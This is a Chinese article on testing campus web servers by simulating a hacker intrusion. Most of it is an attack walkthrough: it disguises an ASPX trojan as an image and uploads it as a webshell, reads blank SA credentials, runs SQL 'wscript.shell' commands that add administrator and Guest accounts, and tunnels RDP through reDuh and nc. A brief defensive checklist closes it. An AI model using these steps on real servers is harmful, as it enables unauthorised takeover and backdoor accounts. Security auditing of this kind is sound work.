张晶
摘要:随着校园网络的普及,很多学校都建立了自己的校园网站,并拥有自己的服务器。然而管理方面的疏忽以及服务器本身的漏洞,往往使校园网站成为黑客的眼中钉。本文通过对黑客入侵服务器过程的详细阐述,逐一揭示网站管理员应做却往往忽视的防范措施,以达到对服务器进行安全问题检测的目的。
关键词:程序后台;木马;提权;映射端口;远程登录
现在许多Windows2000/2003/2008服务器都或多或少的存在安全问题,不是系统软件存在漏洞,就是网站程序上传出现漏洞,再加上网站管理员往往忽视了一些有效的防御手段,这都会使网站在黑客面前不堪一击,他们可以在网站管理员毫无觉察的情况下,任意提权,上传木马,并下载其中的程序,从而使整个服务器的运行出现问题。
如今,校园网服务器的安全,关系到整个学校日常工作的正常运行,一旦被侵入,后果不堪设想,而此类事故的产生必有隐患,那么就让我们的管理员行驶“绿客”的职责,在与黑客“赛跑”的过程中,提前一步对服务器进行检测,避免以上种种问题的发生,为您所管理的服务器打上一针强心剂。
● 检测的环境及工具
◇准备一台服务器,如Windows Server 2003 sp2 SQL2000/2005/2008系统。
◇准备木马工具:ASP木马、ASPX木马、PHP木马,Mstsc.exe远程登录工具,JAVA语言环境、NC.exe、内网渗透利器——reDuh。
● 服务器检测实战演练
1.上传木马
服务器里一般都安装了网站程序ASP(aspx.net)+SQL、PHP+MYSQL等,并且都提供后台演示或注册上传功能,这样我们就可以通过网站程序的后台进行上传木马或者提权。
ASPX图片木马就是小图片加上aspx木马程序生成的文件,看起来是图片,执行时是木马,上传时能逃过文件检测判定。在Windows下的DOS窗口,键入copy1.jpg/b+ 2.aspx/a2.jpg,便可以制作木马图片。然后,我们根据程序网站提供的后台演示,上传图片木马,进入木马程序界面,从图1中可见,该服务器的管理员并没有进行妥善管理,没有在aspx.net程序目录以及ASPX中写权限防止上传图片木马。
2.通过木马程序进行提权
接下来,我们查看SQL用户,有些网站管理员直接给SQL超级用户(SA)的口令,却没有设置密码进行保护,这也使得服务器较容易遭到病毒或木马的攻击。通过图1中的Webshell,我们可以上传其他木马方便我们对SQL提权(如图2),进而通过SQL提升自己的管理权限。
3.破解用户与口令
本地SQL服务器是我们要远程连接到的SQL服务器,但想要实现远程连接,必先知道其用户与口令。有的网站程序的用户与口令,就是SQL的超级用户(SA)及口令,这只能说明管理员极其不小心或者学艺不精,于是,我们通过木马程序编辑功能查询aspx.net网站程序的web.config这个配置文件,可以查到SQL数据库用户名与密码:uid=sa;pwd=,即用户为SA,密码为空。
4.通过查询分析器提权
然后,我们通过本地SQL连接到远程服务器,并通过查询分析器提权。
(1)连接数据库。
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
(2)添加新用户。
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user 新用户 密码 /add'
(3)把用户加到管理组。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add'
(4)激活GUEST用户。
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:windowssystem32cmd.exe /c net user guest /active:yes'
(5)把Guest加到管理组。
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup Administrators Guest /add'
进行上面一系列的提权后,生成管理用户与口令,进行远程登录服务器。
5.内网渗透利器的远程执行
根据我们上传的木马进行操作,上传为我们服务的其他木马,通过木马上传的内网渗透利器在服务器上远程执行,但不要关闭(如图3)。
6.本地与远程架桥
用服务器上的木马与本地“JAVA语言+NC”进行连接,架设一桥,映射端口,伪装成一个局域网,因为远程服务器只能在本地运行,我们可以采用127.0.0.1这个地址远程登录,进入服务器,内网的服务器也是通过这种方法进行检测(如上页图4)。
(1)在本地DOS窗口下运行JAVA语言连接远程服务器上的木马,打开远程服务器在本地1010端口。注意这个不能关闭。
DOS下命令:java -jar reduhclient.jar http://....../ reDuh.aspx
(2)新开一个命令行,用NC连接本机1010端口。
DOS命令窗口输入命令:nc -vv localhost 1010(如上页图5)。
在DOS命令窗口输入命令:[createTunnel]1234:127.0.0.1:3389,连接远程服务器3389端口。
(3)最后本机窗口有三个,一个是远程服务木马,另两个是本地木马映射连接端口(如图6)。
7.进入远程服务器
在本地用mstsc.exe远程登录程序,进入远程服务器。用户口令以Sys_guest为例。这样我们就控制了整个服务器(如图7、图8)。(本方法在客户端Windows server 2003 sp2+SQL2000+JAVA,服务器Windows server 2003/2008+sql2000/2005+aspx环境下测试通过)。
通过模拟黑客侵入服务器的过程,我们发现一般服务器需要关闭一些网站目录、写权限、增加一些目录执行ASPX程序运行、网站跨站权限漏洞。同时,SQL服务器要及时升级,删除一些不必要的限制,SQL超级权限不能轻易授权,以及网站程序上传漏洞、编辑器的漏洞,还需要通过升级编辑器等操作来完善,管理员也要学会一些网站安全防范措施,如远程用户进入服务器时,可以联动报警发短信通知等功能。
本文参考网站:http://www.sensepost.com/labs/tools/pentest/reduh,同时感谢网友exin对本文提供帮助。